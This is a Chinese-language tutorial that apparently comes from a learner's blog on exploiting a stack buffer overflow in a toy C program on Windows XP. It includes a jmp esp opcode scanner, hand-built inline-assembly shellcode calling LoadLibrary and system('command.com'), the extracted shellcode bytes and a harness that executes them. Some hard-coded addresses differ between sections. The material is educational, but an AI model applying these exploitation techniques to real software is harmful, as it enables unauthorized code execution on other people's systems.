Windows XP 溢出

概述

虽然我是一只Web菜狗,还要渗透测试实习,但是怎么能不去了解逆向溢出呢。So,先了解Windows XP 溢出好了。

目标代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <string.h>
char name[] = "abcdef";
int main()
{
char output[8];
strcpy(output, name);
for(int i=0;i<8&&output[i];i++)
printf("\\0x%x",output[i]);
return 0;
}

步骤

它的运行时这样的:

windows-overflow-xp1.png

假如name[] 的字符串变长 ,例如:

1
char name[] = "abcdefghijklmnopqrst";

就会发生溢出,vc6.0 就会报错:

windows-overflow-xp2.png

可见后面的值溢出,覆盖了之后的值。

如果name[]的值是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
char name[] = "\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
//以上是覆盖掉name的8个字节以及epb个字节
"\x12\x45\xfa\x7f"
//以上是jmp esp的地址 sp3中文版的值
"\x55\x8B\xEC\x33\xC0\x50\x50\x50"
"\xC6\x45\xF4\x4D"
"\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56"
"\xC6\x45\xF7\x43"
"\xC6\x45\xF8\x52"
"\xC6\x45\xF9\x54"
"\xC6\x45\xFA\x2E"
"\xC6\x45\xFB\x44"
"\xC6\x45\xFC\x4C"
"\xC6\x45\xFD\x4C"
"\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D"
"\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22"
"\x89\x45\xFC\x33\xD2\x88\x55\xFF"
"\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
//以上是ShellCode

则会调用cmd命令

windows-overflow-xp3.png

至于jmp esp的地址是怎么来的,一般网上都有,或者。
用如下程序寻找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define DLL_NAME "user32.dll"
int main()
{
BYTE *ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary(DLL_NAME);
if(!handle)
{
printf("load dll error!");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position]==0xFF && ptr[position+1]==0xE4)
{
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n", address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
return 0;
}

windows-overflow-xp4.png

上述程序中是在user32.dll中寻找jmp esp的机器码FFE4,会查找到很多的结果,选择其中的一个就可以。
这里需要特别说明的是,不同的计算机不同的操作系统版本,所找到的jmp esp的地址可能会不一样,就是说jmp esp的地址往往并不是通用的。
当然,也会有几个地址是跨版本的,这个在这里不讨论。
这次我们选择其中的一个地址——0x7e490b40。由于是小 端显示,所以应当在“OPQR”的位置反向书写,即400b497e。
当然这里不能够直接用类似于记事本这样的软件进行编辑,而是需要用十六进制代码编辑 器操作。

至于shellcode如何得出,请继续往下看
比如下面这个程序就可以完成开DOS窗口的功能,大家详细看下注释:

1
2
3
4
5
6
7
8
9
10
11
12
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR); //定义函数指针
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvcrt”);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); //查找System函数地址
(ProcAdd) ("command.com"); //其实就是执行System(“command.com”)
return 0;
}

程序中用GetProcAddress函数获得System的真实地址,但地址究竟是多少,如何查看呢?
如下图断点,然后调试

windows-overflow-xp5.png

按alt + 8 以及alt+ 5,出现如下界面

windows-overflow-xp6.png

按F10 运行到如下位置

windows-overflow-xp7.png

EAX变为77c293c7,说明在我的机器上System( )函数的地址是0x77c293c7。

为什么EAX就是System( )函数的地址呢?那是因为函数执行的返回值,在汇编下通常是放在EAX中的,这算是计算机系统的约定吧,所以GetProcAddress(”System”)的返回值(System函数的地址),就在EAX中,为0x77c293c7。

如下是调用cmd代码

1
2
3
4
5
6
7
8
#include <windows.h>
int main()
{
LoadLibrary("msvcrt.dll");
system("command.com");
return 0;
}

首先来验证一下,在VC中可以用__asm关键字插入汇编,我们把System(“Command.com”)用我们写的汇编替换,LoadLibrary先不动,然后执行,成功!弹出了我们想要的DOS窗口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <windows.h>
int main()
{
LoadLibrary("msvcrt.dll");
//system("command.com");
_asm{
push ebp;
mov ebp, esp;
xor edi,edi;
push edi; //申请4字节空间
push edi; //申请4字节空间
push edi; //申请4字节空间
mov byte ptr[ebp-0ch],63h; //c
mov byte ptr[ebp-0bh],6fh; //o
mov byte ptr[ebp-0ah],6dh; //m
mov byte ptr[ebp-09h],6dh; //m
mov byte ptr[ebp-08h],61h; //a
mov byte ptr[ebp-07h],6eh; //n
mov byte ptr[ebp-06h],64h; //d
mov byte ptr[ebp-05h],2eh; //.
mov byte ptr[ebp-04h],63h; //c
mov byte ptr[ebp-03h],6fh; //o
mov byte ptr[ebp-02h],6dh; //m
lea eax, [ebp-0ch];
push eax; //command.com串地址作为参数入栈
mov eax, 0x77c293c7;
call eax;
}
return 0;
}

windows-overflow-xp8.png

同样的道理,LoadLibrary(“msvcrt.dll”)也仿照上面改成汇编,注意LoadLibrary可以用如下程序查找。

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("kernel32");
printf("msvcrt LibHandle = //x%x\n", LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"LoadLibraryA");
printf("LoadLibrary = //x%x\n", ProcAdd);
return 0;
}

windows-overflow-xp9.png

可以看到地址为0x7c801d7b

把两段汇编合起来,将其编译、链接、执行,也成功了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <windows.h>
int main()
{
//LoadLibrary("msvcrt.dll");
_asm{
push ebp;
mov ebp,esp;
xor eax,eax;
push eax;
push eax;
push eax;
mov byte ptr[ebp-0ch],6dh;
mov byte ptr[ebp-0bh],73h;
mov byte ptr[ebp-0ah],76h;
mov byte ptr[ebp-09h],63h;
mov byte ptr[ebp-08h],72h;
mov byte ptr[ebp-07h],74h;
mov byte ptr[ebp-06h],2eh;
mov byte ptr[ebp-05h],64h;
mov byte ptr[ebp-04h],6ch;
mov byte ptr[ebp-03h],6ch;
lea eax,[ebp-0ch];
push eax;
mov edx, 0x7c801d7b;
call edx;
}
//system("command.com");
_asm{
push ebp;
mov ebp, esp;
xor edi,edi;
push edi;
push edi;
push edi;
mov byte ptr[ebp-0ch],63h;
mov byte ptr[ebp-0bh],6fh;
mov byte ptr[ebp-0ah],6dh;
mov byte ptr[ebp-09h],6dh;
mov byte ptr[ebp-08h],61h;
mov byte ptr[ebp-07h],6eh;
mov byte ptr[ebp-06h],64h;
mov byte ptr[ebp-05h],2eh;
mov byte ptr[ebp-04h],63h;
mov byte ptr[ebp-03h],6fh;
mov byte ptr[ebp-02h],6dh;
lea eax, [ebp-0ch];
push eax;
mov eax, 0x77c293c7;
call eax;
}
return 0;
}

windows-overflow-xp10.png

有了上面的工作,提取ShellCode就只剩下体力活了。
我们对刚才的全汇编的程序,按F10进入调试,接着按下Debug工具栏的Disassembly按钮,点右键,在弹出菜单中选中Code Bytes,就出现汇编对应的机器码。
因为汇编可以完全完成我们的功能,所以我们把汇编对应的机器码原封不动抄下来,就得到我们想要的ShellCode了。

windows-overflow-xp11.png

提取出来的ShellCode如下。

1
2
3
4
5
6
7
8
9
10
11
unsigned char shellcode[] ="\x55\x8B\xEC\x33\xC0\x50\x50\x50"
"\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76\xC6\x45\xF7\x63"
"\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x45\xFC\x6C"
"\xC6\x45\xFD\x6C\x8D\x45\xF4\x50\xBA"
"\x7B\x1D\x80\x7C"
"\xFF\xD2\x55\x8B\xEC\x33\xFF\x57\x57\x57"
"\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45\xF6\x6D\xC6\x45\xF7\x6D"
"\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E"
"\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50\xB8"
"\xC7\x93\xC2\x77"
"\xFF\xD0";

最后要验证提取出来的ShellCode能否完成我们的功能。
在以前的文章中已经说过方法,只需要新建一个工程和c源文件,然后把ShellCode部分拷下来,存为一个数组,最后在main中添上( (void(*)(void)) &shellcode )(),如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned char shellcode[] ="\x55\x8B\xEC\x33\xC0\x50\x50\x50"
"\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76\xC6\x45\xF7\x63"
"\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x45\xFC\x6C"
"\xC6\x45\xFD\x6C\x8D\x45\xF4\x50\xBA"
"\x7B\x1D\x80\x7C"
"\xFF\xD2\x55\x8B\xEC\x33\xFF\x57\x57\x57"
"\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45\xF6\x6D\xC6\x45\xF7\x6D"
"\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E"
"\xC6\x45\xFC\x63\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50\xB8"
"\xC7\x93\xC2\x77"
"\xFF\xD0";
int main()
{
( (void(*)(void)) &shellcode )();
return 0;
}

( (void(*)(void)) &shellcode )()这句话是关键,它把ShellCode转换成一个参数为空,返回为空的函数指针,并调用它。
执行那句就相当于执行ShellCode数组里的那些数 据。如果ShellCode正确,就会完成我们想要的功能,出现一个DOS窗口。
我们亲自编写的第一个ShellCode成功完成!

windows-overflow-xp12.png